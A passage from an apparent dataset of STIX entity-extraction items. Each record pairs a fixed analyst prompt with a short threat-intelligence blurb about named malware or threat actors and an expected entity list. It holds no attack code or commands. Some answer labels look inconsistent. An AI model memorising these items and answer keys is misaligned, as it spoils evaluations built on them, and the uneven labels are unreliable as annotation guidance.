    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLeafminer used a tool called MailSniper to search for files on the desktop and another utility called Sobolsoft to extract attachments from EML files.\n",
    "output": "<entities>Leafminer|MailSniper|Sobolsoft</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nZIRCONIUM targeted presidential campaign staffers with credential phishing e-mails.\n",
    "output": "<entities>ZIRCONIUM</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTangleBot is SMS malware that was initially observed in September 2021, primarily targeting mobile users in the United States and Canada. TangleBot has used SMS text message lures about COVID-19 regulations and vaccines to trick mobile users into downloading the malware, similar to FluBot Android malware campaigns.\n",
    "output": "<entities>TangleBot|FluBot Android malware campaigns|Android|United States|Canada</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\npngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and- execute\" utility. \n",
    "output": "<entities>pngdowner|Putter Panda</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nQUIETEXIT is a novel backdoor, based on the open-source Dropbear SSH client-server software, that has been used by APT29 since at least 2021. APT29 has deployed QUIETEXIT on opaque network appliances that typically don't support antivirus or endpoint detection and response tools within a victim environment.\n",
    "output": "<entities>QUIETEXIT|APT29</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWhisperGate is a multi-stage wiper designed to look like ransomware that has been used against multiple government, non-profit, and information technology organizations in Ukraine since at least January 2022.\n",
    "output": "<entities>WhisperGate|Ukraine</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHTRAN can install a rootkit to hide network connections from the host OS.\n",
    "output": "<entities>HTRAN</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBefore executing malicious code, Ragnar Locker checks the Windows API GetLocaleInfoW and doesn't encrypt files if it finds a former Soviet country.\n",
    "output": "<entities>Ragnar Locker|Windows|Soviet</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nyty gathers the computer name, the serial number of the main disk volume, CPU information, Microsoft Windows version, and runs the command systeminfo.\n",
    "output": "<entities>Windows|yty|Microsoft</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMori is a backdoor that has been used by MuddyWater since at least January 2022.\n",
    "output": "<entities>Mori|MuddyWater</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTomiris is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between Tomiris and GoldMax.\n",
    "output": "<entities>Tomiris|DNS hijacking campaign|C2|Go|Commonwealth of Independent States (CIS)|GoldMax</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nXAgentOSX contains the getFirefoxPassword function to attempt to locate Firefox passwords.\n",
    "output": "<entities>XAgentOSX|Firefox</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSOUNDBITE is capable of enumerating and manipulating files and directories.\n",
    "output": "<entities>SOUNDBITE</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nccf32 is data collection malware that has been used since at least February 2019, most notably during the FunnyDream campaign; there is also a similar x64 version.\n",
    "output": "<entities>ccf32|FunnyDream</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWinMM is a full-featured, simple backdoor used by Naikon. \n",
    "output": "<entities>WinMM|Naikon</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGLASSTOKEN is a custom web shell used by threat actors during Cutting Edge to execute commands on compromised Ivanti Secure Connect VPNs.\n",
    "output": "<entities>GLASSTOKEN|Cutting Edge|Ivanti Secure Connect VPNs</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\n\u2022 Reconnaissance, execution and theft of credentials: In the reconnaissance phase, a series of commands were launched to collect information from users, domains and shared folders. The hostile actor used legitimate tools of the Windows operating systems for the reconnaissance stage, such as \u201cipconfig.exe\u201d, \u201cwhoami.exe\u201d, \u201cnet.exe\u201d, \u201cping.exe\u201d, \u201cpowershell.exe\u201d and \u201d BloodHound \u201d(bloodHound is not a legitimate binary from Microsoft).\n",
    "output": "<entities>BloodHound|bloodHound|Microsoft|ipconfig.exe|whoami.exe|net.exe|ping.exe|powershell.exe|Windows</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that 